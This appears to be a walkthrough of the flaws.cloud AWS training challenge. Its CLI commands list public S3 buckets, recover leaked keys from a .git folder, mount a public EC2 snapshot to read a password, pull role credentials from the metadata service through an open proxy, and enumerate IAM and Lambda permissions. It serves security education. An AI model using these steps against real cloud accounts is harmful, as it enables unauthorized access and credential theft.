flaws.cloud
Level 1
Flaw: Permission Misconfiguration: Anyone could list the bucket content.
List the bucket contents for
flaws.cloudaws s3 ls s3://flaws.cloud --no-sign-requestGet the
htmlfileaws s3 cp s3://flaws.cloud/secret-dd02c7c.html . --no-sign-request
Level 2
Configure AWS CLI with Access Key ID and Secret Access Key
$ aws configure --profile YOUR_PROFILE
AWS Access Key ID [********************]:
AWS Secret Access Key [********************]:
Default region name [ap-south-1]:
Default output format [text]:Flaw: Any authenticated AWS user could list the bucket contents
List the bucket contents for the url using AWS account
aws s3 ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud --profile YOUR_PROFILEGet the secret html file
aws s3 cp s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/secret-e4443fc.html . --profile YOUR_PROFILE
Level 3
Flaw: Bucket listing permissions for everyone and leaked access keys in git commits
List the bucket contents for the url using AWS profile
aws s3 ls s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud --profile YOUR_PROFILEDownload the
.gitfolderaws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git l3-dump --profile YOUR_PROFILECheck the git logs
git logCheck the first commit
git checkout {commit hash}Check the commit contents
git showCreate a profile using the credentials
aws configure --profile flaws-l3Enter
AKIAandSecret access Keyfrom the git commit
List all the buckets for the newly created profile
aws s3 ls --profile flaws-l3
Level 4
Flaw: Snapshot of EC2 instance made public
Use
nslookupand get the region of the snapshotnslookup 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloudRegion:
us-west-2
Using the flaws-l3 profile look for ec2 snapshots
aws ec2 describe-snapshots --profile flaws-l3Get account id for the flaws-l3 keys
aws --profile flaws sts get-caller-identityList the ec2 snapshots for the particular owner
aws ec2 describe-snapshots --profile flaws-l3 --owner-id {owner-id} --region us-west-2Mount the volume using the
snapshot idto your accaws --profile {YOUR_ACCOUNT} ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89Create an ec2 instance in the
us-west-2regionAttach the snapshot as an extra volume
Connect to the ec2 instance using
sshwith the keypair while setting up the ec2ssh -i "flaws4.pem" ubuntu@ec2-35-85-61-84.us-west-2.compute.amazonaws.comMount the volume
sudo file -s /dev/xvdf1sudo mount /dev/xvdf1 /mnt
Look around in the snapshot
We get credentials in
/home/ubuntu/setupNginx.shflaws:nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M
Enter the credentials here
Terminate the EC2 instance
Level 5
Flaw: exposed proxy which doesn't restrict access to instance's meta-data server and private IP range
The IP address 169.254.169.254 is a magic IP in the cloud world. AWS, Azure, Google, DigitalOcean and others use this to allow cloud resources to find out metadata about themselves.
Each EC2 instance has metadata available on a magic private (only itself can access) IP address 169.254.169.254. The juiciest part of this metadata, are the credentials for the Instance Profile (if one is set), which can be retrieved through a web request to http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance/.
Get the meta-data listing
curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/We get credentials at this url
curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instanceConfigure using the keys
aws configure --profile flaws-l5```Add the Access Key ID, Secret Access key and Session token to
/.aws/credentialsList the contents of the level6 bucket
aws s3 ls s3://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud --profile flaws-l5
Level 6
**Flaw: Extra permissions given to policies **
Create a profile using the provided credentials
aws configure --profile flaws-l6Get other info about the profile
aws --profile flaws-l6 iam get-userList the IAM policies attached to the user
aws --profile flaws-l6 iam list-attached-user-policies --user-name Level6Get more info on the policy
list_apigatewaysaws --profile flaws-l6 iam get-policy --policy-arn arn:aws:iam::975426262029:policy/list_apigatewaysGet the version of the policy
aws --profile flaws-l6 iam get-policy-version --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --version-id v4The policy tells us we can
GETon the resourcearn:aws:apigateway:us-west-2::/restapis/*Enumerating the other policy
MySecurityAudit, it lets us see some things about lambdas.List the lambda functions
aws --profile flaws-l6 --region us-west-2 lambda list-functionsGet policy for the function
aws --profile flaws-l6 --region us-west-2 lambda get-policy --function-name Level6Use the API ID:
s33ppypa75and get the stageaws --profile flaws-l6 --region us-west-2 apigateway get-stages --rest-api-id s33ppypa75That tells you the stage name is "Prod". Lambda functions are called using that rest-api-id, stage name, region, and resource as
Format:
https://<API-id>.execute-api.<region>.amazonaws.com/<stage-name>/<resource>API-id:
s33ppypa75Region:
us-west-2Stage:
ProdResource:
level6
URL : https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6
On visting the url it displays another URL which is the final URL
_____ _ ____ __ __ _____
| || | / || |__| |/ ___/
| __|| | | o || | | ( \_
| |_ | |___ | || | | |\__ |
| _] | || _ || ` ' |/ \ |
| | | || | | \ / \ |
|__| |_____||__|__| \_/\_/ \___|
flAWS - The EndLast updated